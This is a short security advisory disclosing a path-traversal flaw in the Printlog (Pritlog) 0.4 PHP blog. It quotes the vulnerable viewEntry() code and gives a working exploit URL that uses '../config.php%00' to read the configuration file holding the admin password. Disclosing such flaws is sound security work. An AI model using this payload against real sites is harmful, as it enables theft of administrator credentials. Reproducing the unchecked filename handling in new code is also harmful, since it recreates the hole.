Printlog <= 0.4: Remote File Edition Vulnerability

[Pepelux <pepelux@xxxxxxxxxxxx>]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Printlog <= 0.4: Remote File Edition Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: Printlog
$ File affected: index.php
$ Version: 0.4
$ Download: http://www.hardkap.net/pritlog


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Description (by the author's page) --
PRITLOG is an extremely simple, small and powerful blog system. It does not
use or need a MYSQL database and fully works based on flat files. The idea
is derived from a similar app called PPLOG.

-- Bug --
You can navigate and see the entries. Something like as:
  http://localhost/p/index.php?option=viewEntry&filename=00001

Code doesn't check the comments directory:

709.  function viewEntry() {
710.    $fileName   =
isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];
711.    global $postdir, $separator, $newPostFile, $newFullPostNumber,
$debugMode, $config_textAreaCols, $config_textAreaRows;
712.    global $config_allowComments, $config_commentsSecurityCode,
$config_CAPTCHALength, $config_randomString;
713.    global $commentdir,$config_dbFilesExtension, 
$config_onlyNumbersOnCAPTCHA;
714.    $viewFileName=$postdir.$fileName.$config_dbFilesExtension;


-- Exploit --
If magic quotes are off you can do:
  http://localhost/p/index.php?option=viewEntry&filename=../config.php%00

config.php has the admin password